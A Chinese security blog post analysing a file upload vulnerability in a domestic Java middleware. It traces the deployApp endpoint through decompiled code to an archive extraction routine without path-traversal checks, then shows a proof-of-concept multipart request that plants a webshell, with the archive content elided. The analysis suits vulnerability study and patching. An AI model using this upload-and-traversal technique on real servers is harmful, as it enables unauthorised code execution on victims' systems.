某国产中间件文件上传漏洞分析

最近有关公众号发布几个国产中间件漏洞预警,本着学习心态对其进行分析研究

某中间件文件上传漏洞分析

最近有关公众号发布几个国产中间件漏洞预警,本着学习心态对其进行分析研究

0x01 漏洞分析

该系统是基于spring mvc,根据通报搜索路由为deployApp,找的相关controller

最终找的路由为/xxxx/application/deployApp,且对应controller为ApplicationMgmtController,接口方法如下

image-20231226154028034

该方法主要分为三步

1、首先是根据请求中的参数来初始化创建AASAppDeployModel对象

2、获取clientFile中上传的文件内容,创建临时文件文件存储,并将文件名存入上一步创建的AASAppDeployModel对象

3、根据deployInServer进入对AASAppDeployModel对象不同的处理方法中,而deployInServer默认是false

在第一步初始化时调用buildAppDeployModel,可以看到

image-20231226154919127

有如上参数参与了初始化。

随后创建完临时文件后进入deployAppInClient方法,最终来到AASAppServerServiceImpl#deployAppInClient方法中

public boolean deployAppInClient(AppDeployModel model) {
    AASAppDeployModel app = (AASAppDeployModel)model;
    FileInputStream is = null;
    byte[] contents = null;
    File archiveFile = new File(app.getArchivePath());

    byte[] contents;
    try {
        is = new FileInputStream(archiveFile);
        contents = IOUtils.toByteArray(is);
    } catch (Exception var10) {
        throw new MBeanInvokeException(var10, new Object[]{"file upload error!"});
    } finally {
        if (is != null) {
            IOUtils.closeQuietly(is);
        }

    }

    Object[] params = new Object[]{app.getAppName(), contents, null, app.getVirtualHost(), app.getBaseContext(), app.getStartType(), app.getLoadon(), app.getGlobalSession(), app.getAllowHosts(), app.getDenyHosts()};
    String[] signature = new String[]{String.class.getName(), byte[].class.getName(), byte[].class.getName(), String.class.getName(), String.class.getName(), String.class.getName(), Integer.class.getName(), Boolean.class.getName(), String.class.getName(), String.class.getName()};
    MBeanInvokeUtils.invoke(this.jmxFactory.getConnection(), "apusic:j2eeType=Service,name=J2EEDeployer", "deploy", params, signature);
    return true;
}

该方法主要是获取上传文件的数据流,将其转换为byte数组,随后MBeanInvokeUtils.invoke进行反射调用,其参数为params,方法参数类型为signature

MBeanInvokeUtils.invoke(this.jmxFactory.getConnection(), "apusic:j2eeType=Service,name=J2EEDeployer", "deploy", params, signature);

MBeanInvokeUtils.invoke其实是利用java jmx 在MBean Server中查询"apusic:j2eeType=Service,name=J2EEDeployer"获取其ObjectName对象然后调用对象方法,这里是调用deploy

public static <T> T invoke(MBeanServerConnection connection, String objectName, String operationName, Object[] params, String[] signature) {
    ObjectName name = searchUniqueObjectName(connection, objectName);
    return invoke(connection, name, operationName, params, signature);
}

全局搜索J2EEDeployer找的了以下可疑类

image-20231226165546907

找的该类的发现确实有同参数类型的deploy方法

public synchronized ObjectName deploy(String name, byte[] archiveData, byte[] configData, String virtualHost, String baseContext, String startType, Integer loadon, Boolean globalSeesion, String allowHosts, String denyHosts) throws DeploymentException, IOException, InvalidModuleException {
    ObjectName var18;
    try {
        File archiveFile = this.saveArchive(name, archiveData);
        String archivePath = archiveFile.getPath();
        String configPath = null;
        if (configData != null) {
        File configFile = this.saveConfig(name, configData);
        configPath = configFile.getPath();
    }

    var18 = this.deploy(name, archivePath, configPath, virtualHost, baseContext, startType, loadon, globalSeesion, allowHosts, denyHosts);
    } finally {
        this.removeUploadedFiles();
    }

    return var18;
}

此时会将之前上传文件的byte[]数据通过saveArchive再次保存到本地,获取其文件路径赋值给archivePath,最终调用下面这个deploy方法

public synchronized ObjectName deploy(String name, String archivePath, String configPath, String virtualHost, String baseContext, String startType, Integer loadon, Boolean globalSeesion, String allowHosts, String denyHosts, String oid) throws DeploymentException, IOException, InvalidModuleException {
        File archiveFile = Config.getFile(archivePath);
        ModuleType.getModuleType(archiveFile);
        J2EEApplication app = this.getApplication(name);
        J2EEApplication app2 = this.getApplication(archiveFile);
        if (app2 != null && app2 != app) {
            throw new DeploymentException(sm.get("APP_EXISTS", archivePath));
        } else {
            if (app != null) {
                ...
            } else {
                ...
            }

            this.saveConfig();
            return app.objectName();
        }
    }

首先是

File archiveFile = Config.getFile(archivePath);
ModuleType.getModuleType(archiveFile);
J2EEApplication app = this.getApplication(name);
J2EEApplication app2 = this.getApplication(archiveFile);

根据路径来获取上传文件的File对象,同时通过传入name获取J2EEApplication对象

public J2EEApplication getApplication(String name) {
    Iterator var2 = this.userApps.iterator();

    J2EEApplication app;
    do {
        if (!var2.hasNext()) {
        return null;
        }

        app = (J2EEApplication)var2.next();
    } while(!name.equals(app.getName()));

    return app;
}

name是由上传请求中的参数appName来确定的,当我们自定义appName时this.userApps中不存在对应app,所以返回为null。

最终deploy会进入else逻辑,即

} else {
    app = new J2EEApplication(name, archivePath, configPath);
    if (virtualHost != null) {
        app.setVirtualHost(virtualHost);
    }
    ...
    if (denyHosts != null) {
        app.setDenyHosts(denyHosts);
    }

    this.userApps.add(app);
    this.deleteApps.remove(app);
    MBeanServer mbs = this.getMBeanServer();

    try {
        mbs.registerMBean(app, (ObjectName)null);
        if (this.autoDeployer != null) {
        this.autoDeployer.removeUnstallFile(app.getSourceFile());
        }

        mbs.addNotificationListener(app.objectName(), this, (NotificationFilter)null, (Object)null);
        app.setInstallDir(new File(this.deployDir, name));
        app.setExtendDir(new File(this.extendDir, name));
        if (startType == null || startType.equals("auto")) {
            app.start();
        }
    } catch (Exception var19) {
        this.undeploy(app.getName());
        throw new DeploymentException(sm.get("APP_START_FAILED", name), var19);
        }
    }

    this.saveConfig();
    return app.objectName();
}

上面是首先是通过app = new J2EEApplication(name, archivePath, configPath);来创建J2EEApplication对象,利用传入参数来初始化app对象中对应变量值。

重点关注

app.setInstallDir(new File(this.deployDir, name));
app.setExtendDir(new File(this.extendDir, name));
if (startType == null || startType.equals("auto")) {
    app.start();
}

首先是初始化app对象中的installDirextendDir变量

当startType为null或者auto时会执行J2EEApplication#start()方法,通过分析最终调用J2EEApplication#startService方法

image-20231226173743930

主要是对成员变量进行初始化,但是并没有看到对前面上传文件有关的archivePatharchiveFile变量的操作,跟进到this.load()方法

image-20231226174806077

这里出现了sourceFile这个变量,而它在我们之前new J2EEApplication(name, archivePath, configPath);时就完成了初始化

public J2EEApplication(String name, String path, String configPath) {
    super("J2EEApplication", name, J2EEServer.OBJECT_NAME);
    this.name = name;
    this.path = path;
    this.sourceFile = Config.getFile(path);
    this.configPath = configPath;
    this.setLogger(Logger.getLogger("application." + name));
}

首先是获取moduleType

image-20231226180551736

主要是判断后缀名,当上传zip等压缩文件时默认是EAR。

此时在load()方法中会进入loadEAR()

image-20231226180907135

这里首先是创建exploadDir目录,它由installDir/jarfiles/{appName}+hex(stamp)组成。而installDir是在app.setInstallDir(new File(this.deployDir, name));创建的,分析发现deployDir为组件安装目录下的domains/deploy

所以exploadDir=domains/deploy/{appName}/jarfiles/{appName}+hex(stamp)

然后调用FileUtil#unpackJarFile方法进行解压操作

public static void unpackJarFile(File jarFile, File dir) throws IOException {
    InputStream fis = new FileInputStream(jarFile);
    ZipInputStream zis = new ZipInputStream(fis);
    OutputStream out = null;

    try {
        for(ZipEntry e = zis.getNextEntry(); e != null; e = zis.getNextEntry()) {
            File f = new File(dir, e.getName());
            if (e.isDirectory()) {
                if (!f.exists() && !f.mkdirs()) {
                    throw new IOException("Cannot make directory " + f.getPath());
                }
            } else {
                File d = f.getParentFile();
                if (d != null && !d.exists() && !d.mkdirs()) {
                   throw new IOException("Cannot make directory " + d.getPath());
                }

                out = new FileOutputStream(f);
                copy(zis, out);
                out.close();
             }
        }
    } finally {
        zis.close();
        fis.close();
        if (out != null) {
            out.close();
        }
    }

}

但是exploadDir无法直接访问,而且在unpackJarFile方法中未对目录穿越做过了,所以可以构造可以目录穿越的压缩包,将webshell解压到domains/applications/default/public_html/下。

总结

2

0x02 构造payload并复现

于是构造payload为

POST /xxxxx/xxxx/application/deployApp HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNotThoE1rFKMKxp5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 1499

------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="appName"

12123123
------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="deployInServer"

false
------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="clientFile"; filename="test2.zip"
Content-Type: application/x-zip-compressed

PK...
------WebKitFormBoundaryNotThoE1rFKMKxp5
Content-Disposition: form-data; name="archivePath"

------WebKitFormBoundaryNotThoE1rFKMKxp5

...

------WebKitFormBoundaryNotThoE1rFKMKxp5--

bp直接读取zip可能会乱码保存,这里用yakit提供的file标签

image-20231226194707395

成功解压到指定目录

image-20231226194059330

  • 发表于 2024-01-22 10:00:00
  • 阅读 ( 31235 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
中铁13层打工人
中铁13层打工人

79 篇文章

站长统计